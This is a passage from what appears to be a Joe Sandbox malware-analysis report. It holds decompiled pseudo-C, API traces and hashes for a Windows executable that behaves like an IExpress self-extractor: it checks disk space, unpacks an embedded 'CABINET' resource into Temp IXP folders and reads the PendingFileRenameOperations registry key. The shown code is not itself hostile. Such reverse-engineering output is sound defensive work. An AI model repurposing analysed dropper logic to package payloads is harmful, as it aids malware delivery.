							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x1099a34 & 0x00000008;
							if(( *0x1099a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x1099a38; // 0x0
								_t110 =  *((intOrPtr*)(0x10989e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x1099124 = 0;
									_t66 = 1;
								} else {
									_t66 = E0109268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x1099a38; // 0x0
							_t110 =  *((intOrPtr*)(0x10989e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x10989e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x1099a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E010944B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x1099124 = E01096285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E010944B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x1099124 = E01096285();
					_t66 = 0;
					L33:
					return E01096CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x0109597d
0x01095988
0x0109598f
0x0109599a
0x010959a6
0x010959a8
0x010959af
0x010959b9
0x010959dd
0x010959e4
0x010959f1
0x010959fe
0x01095a0b
0x01095a13
0x01095a19
0x01095a1b
0x01095ba1
0x01095baf
0x01095bbd
0x01095bd8
0x01095bde
0x01095be3
0x01095bec
0x01095bf0
0x01095bfc
0x01095c02
0x01095c02
0x01095c02
0x01095c04
0x01095c04
0x00000000
0x01095c04
0x01095a27
0x01095a3a
0x01095a46
0x01095a48
0x01095a4a
0x00000000
0x00000000
0x01095a64
0x01095a6a
0x01095a6c
0x01095abc
0x01095ac2
0x01095ac9
0x01095aca
0x01095aca
0x01095acc
0x01095acc
0x01095acf
0x01095ad1
0x00000000
0x00000000
0x01095ad3
0x01095ad6
0x01095ad8
0x00000000
0x00000000
0x01095ada
0x01095adc
0x01095add
0x01095add
0x01095ae0
0x00000000
0x00000000
0x00000000
0x01095ae0
0x01095ae2
0x01095ae4
0x01095ae6
0x01095ae6
0x01095ae6
0x01095ae9
0x01095aeb
0x01095af0
0x01095af6
0x01095af8
0x01095af9
0x01095af9
0x01095afb
0x00000000
0x00000000
0x01095afd
0x01095aff
0x01095b00
0x01095b03
0x00000000
0x00000000
0x00000000
0x01095b03
0x01095b05
0x01095b08
0x01095b20
0x01095b27
0x01095b52
0x01095b52
0x01095b5b
0x01095b62
0x01095b6b
0x01095b6d
0x01095b76
0x01095b7d
0x01095b83
0x01095b7f
0x01095b7f
0x01095b7f
0x01095b6f
0x01095b72
0x01095b72
0x01095b85
0x01095b98
0x01095b9e
0x01095b87
0x01095b8f
0x01095b8f
0x00000000
0x01095b85
0x01095b29
0x01095b33
0x00000000
0x00000000
0x01095b35
0x01095b48
0x01095b4a
0x00000000
0x01095b4a
0x01095b0f
0x01095b16
0x00000000
0x01095b16
0x01095a7c
0x01095a8a
0x01095aa5
0x01095aab
0x00000000
0x010959bb
0x010959c0
0x010959c7
0x010959d1
0x010959d6
0x01095c05
0x01095c14
0x01095c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010959A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 010959AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 01095A13
MulDiv.KERNEL32(?,?,00000400), ref: 01095A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 01095A64
memset.MSVCRT ref: 01095A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 01095A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 01095AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 01095BFC

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Part of subcall function 01096285: GetLastError.KERNEL32(01095BBC), ref: 01096285

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 8e1959767452908d3a9949a946dc28dfb8af915a06570f89641a8da35139c46a
Instruction ID: c16a9851f7d7e7c0f2b63510265d41ee41ed08a15d76811c0cf0c42446e54776
Opcode Fuzzy Hash: 8e1959767452908d3a9949a946dc28dfb8af915a06570f89641a8da35139c46a
Instruction Fuzzy Hash: D27193B1A0020CAFEF269B25CCA5BFA77ACFB48344F0440AAF585D3144DA399E459F64

Uniqueness

Uniqueness Score: -1.00%

Function 01094FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E01094FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x1099144 = E0109468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x1099140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0x1098584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0x1098584, 0x841), 5);
				}
				_t10 = E01094EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E01094CA0, E01094CC0, E01094980, E01094A50, E01094AD0, E01094B60, E01094BC0, 1, 0x1099148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0x1099148; // 0x0
						_t24 =  *0x1098584; // 0x0
						E010944B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0x1091140, 0, E01094CD0, 0, 0x1099140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0x1098584; // 0x0
					E010944B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0x1099140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0x1099140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0x10991d8; // 0x0
						if(_t47 == 0) {
							E010944B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0x1098a38 & 0x00000001) == 0 && ( *0x1099a34 & 0x00000001) == 0) {
						SendMessageA( *0x1098584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x01094fe0
0x01094fe6
0x01094ff9
0x0109500d
0x01095013
0x0109501a
0x01095163
0x01095163
0x01095020
0x01095027
0x01095037
0x01095051
0x01095051
0x01095057
0x0109505e
0x010950a7
0x010950ad
0x010950b4
0x010950e8
0x010950e8
0x010950ee
0x010950ff
0x01095104
0x01095106
0x00000000
0x01095106
0x010950cd
0x010950d3
0x010950da
0x00000000
0x00000000
0x010950dd
0x010950e6
0x00000000
0x00000000
0x00000000
0x01095060
0x01095060
0x01095070
0x01095075
0x01095107
0x01095107
0x0109510e
0x01095111
0x01095117
0x01095117
0x0109511f
0x01095121
0x01095127
0x01095135
0x01095135
0x01095127
0x01095141
0x01095159
0x01095159
0x00000000
0x0109515f

APIs

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 01094FFE
LoadResource.KERNEL32(00000000,00000000), ref: 01095006
LockResource.KERNEL32(00000000), ref: 0109500D
GetDlgItem.USER32(00000000,00000842), ref: 01095030
ShowWindow.USER32(00000000), ref: 01095037
GetDlgItem.USER32(00000841,00000005), ref: 0109504A
ShowWindow.USER32(00000000), ref: 01095051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 01095111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 01095159

Strings

CABINET, xrefs: 01094FE6, 01094FF7
*MEMCAB, xrefs: 010950C7

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 97161b78e21137226e353643c25778e96eaa76e76d195ad2e2803df533e79281
Instruction ID: 00f60cad531c6dfff0cfc1002feef0167ff12ba5830af5e2d5389626bb276a70
Opcode Fuzzy Hash: 97161b78e21137226e353643c25778e96eaa76e76d195ad2e2803df533e79281
Instruction Fuzzy Hash: DF3115F0740305ABEF311A27ADB9F673A9CB748799F00405EB9C1E6299D67E8C01A760

Uniqueness

Uniqueness Score: -1.00%

Function 010953A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E010953A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0x1098004; // 0x8a9c601
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E0109171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E01091680(_t32, 0x104, _t20);
					E0109658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E01096CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0x1098a20 = 1;
				goto L5;
			}

0x010953ac
0x010953b3
0x010953b9
0x010953bb
0x010953bd
0x010953bf
0x010953d1
0x010953d6
0x010953e0
0x010953e2
0x010953f5
0x010953fb
0x01095402
0x0109540b
0x00000000
0x00000000
0x01095413
0x00000000
0x00000000
0x01095415
0x01095416
0x01095427
0x0109542a
0x0109542b
0x01095434
0x01095434
0x0109543a
0x0109544c
0x0109544c
0x01095452
0x0109545a
0x00000000
0x00000000
0x0109545e
0x0109545f
0x00000000

APIs

Part of subcall function 0109171E: _vsnprintf.MSVCRT ref: 01091750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 010953FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095452

Strings

IXP, xrefs: 01095419
IXP%03d.TMP, xrefs: 010953C0
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 010953B7, 010953E1, 0109541E

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-2310010875
Opcode ID: f7560c7c271cc161f48cf0843876d7612bb9360c6de1bf034d4c00e3e2e64c00
Instruction ID: 714666c20b13293f1ceca7f7a94448d332af37ba3204214bace2d4d38535b245
Opcode Fuzzy Hash: f7560c7c271cc161f48cf0843876d7612bb9360c6de1bf034d4c00e3e2e64c00
Instruction Fuzzy Hash: 1B110871700104A7EB619B269C68FEF7A6DFBD5321F004156B6C6D3180CE7A894297A0

Uniqueness

Uniqueness Score: -1.00%

Function 01095467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E01095467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0x1098004; // 0x8a9c601
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0x10991e4;
					_t42 = 0x104;
					E01091680(0x10991e4, 0x104);
					L14:
					_t13 = E010958C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0x1099124 = 0;
							_t14 = 1;
							L24:
							return E01096CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E0109597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0x1098a20; // 0x0
						if(_t61 != 0) {
							 *0x1098a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0x1099124 = E01096285();
						goto L22;
					}
					 *0x1098a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E010953A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0x10991e4;
				E01091781(0x10991e4, 0x104, __ecx,  &_v268);
				if(( *0x1099a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E0109658A(_t48, 0x104, 0x1091140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E0109658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x01095472
0x01095479
0x01095481
0x01095484
0x0109551c
0x01095521
0x01095528
0x0109552d
0x0109552f
0x01095539
0x0109554d
0x0109554d
0x01095552
0x01095585
0x01095585
0x0109558b
0x0109558d
0x0109559d
0x0109559d
0x01095557
0x0109555e
0x00000000
0x00000000
0x01095560
0x01095566
0x01095569
0x0109556f
0x0109556f
0x01095581
0x01095581
0x00000000
0x01095581
0x01095545
0x0109557c
0x00000000
0x0109557c
0x01095547
0x00000000
0x01095547
0x0109548a
0x01095490
0x01095497
0x00000000
0x00000000
0x0109549d
0x010954ab
0x010954b4
0x010954c0
0x0109550c
0x01095511
0x01095515
0x00000000
0x01095515
0x010954c9
0x010954d6
0x010954d8
0x010954fe
0x01095503
0x01095507
0x00000000
0x01095507
0x010954da
0x010954dd
0x010954f7
0x00000000
0x010954f7
0x010954df
0x010954e2
0x010954f0
0x00000000
0x010954f0
0x010954e7
0x00000000
0x00000000
0x010954e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 010954C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109556F

Part of subcall function 010953A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 010953FB
Part of subcall function 010953A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095402
Part of subcall function 010953A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109541F
Part of subcall function 010953A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 0109542B
Part of subcall function 010953A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 01095434

Strings

i386, xrefs: 010954FE
ppc, xrefs: 010954E9
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 0109547D, 01095481, 010954AB, 0109551C, 0109553C, 01095568
alpha, xrefs: 010954F0
mips, xrefs: 010954F7

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-1000730752
Opcode ID: d73618a243827f08b588861916894ae5c7771f2f82a2e3daeb534a342ea6b33f
Instruction ID: a89338b40a6b64d7c2bb818f405d5fa6ca6206f47e455d2da243c00b75e7910a
Opcode Fuzzy Hash: d73618a243827f08b588861916894ae5c7771f2f82a2e3daeb534a342ea6b33f
Instruction Fuzzy Hash: F33169B0B002069BDF629F3F9C745BE77EABB85214B0441AFE9C6D3245CB75CA01A794

Uniqueness

Uniqueness Score: -1.00%

Function 0109256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0109256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E010924E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x01092572
0x01092573
0x01092575
0x01092578
0x0109257d
0x01092627
0x01092583
0x01092586
0x01092589
0x010925eb
0x01092607
0x00000000
0x01092609
0x0109261a
0x00000000
0x0109261a
0x00000000
0x0109258b
0x0109258b
0x0109259e
0x010925b2
0x010925ba
0x010925cb
0x010925d1
0x010925d6
0x010925da
0x010925dd
0x010925dd
0x010925e3
0x010925e3
0x010925e3
0x0109258b
0x01092589
0x0109262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000036,01094096,01094096,?,01091ED3,00000001,00000000,?,?,01094137,?), ref: 010925B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,01094096,?,01091ED3,00000001,00000000,?,?,01094137,?,01094096), ref: 010925CB
RegCloseKey.KERNELBASE(?,?,01091ED3,00000001,00000000,?,?,01094137,?,01094096), ref: 010925DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000036,01094096,01094096,?,01091ED3,00000001,00000000,?,?,01094137,?), ref: 010925FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,01094096,00000000,00000000,00000000,00000000,?,01091ED3,00000001,00000000), ref: 0109261A

Strings

PendingFileRenameOperations, xrefs: 010925C3
System\CurrentControlSet\Control\Session Manager, xrefs: 010925A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 010925F5

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: d76eaa332dd4bb339c4711930ae3827c1ef54a2664e082bdc65468182ba934bb
Instruction ID: 15d25a57591b98078d2dffaac648bc008fbff4f24e927dc571e92e77daf045bb
Opcode Fuzzy Hash: d76eaa332dd4bb339c4711930ae3827c1ef54a2664e082bdc65468182ba934bb
Instruction Fuzzy Hash: FD118635902228FB9F309B969C29DFF7EBCEF457A1F104095B989E2100D6314A44E6E0

Uniqueness

Uniqueness Score: -1.00%

Function 01096A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E01097155();
				_push(0x58);
				_push(0x10972b8);
				E01097208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0x10988b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0x10988b0; // 0x2
						if(__eflags != 0) {
							 *0x10981e4 = _t58;
							goto L13;
						} else {
							 *0x10988b0 = _t58;
							_t37 = E01096C3F(0x10910b8, 0x10910c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L01096FF4();
						L13:
						_t68 =  *0x10988b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0x10910b4);
							_push(0x10910ac);
							L01097202();
							 *0x10988b0 = 2;
						}
						if(_t53 == 0) {
							 *0x10988ac = 0;
						}
						_t71 =  *0x10988b4;
						if( *0x10988b4 != 0 && E01097060(_t71, 0x10988b4) != 0) {
							_t60 =  *0x10988b4; // 0x0
							 *0x109a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x76665b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
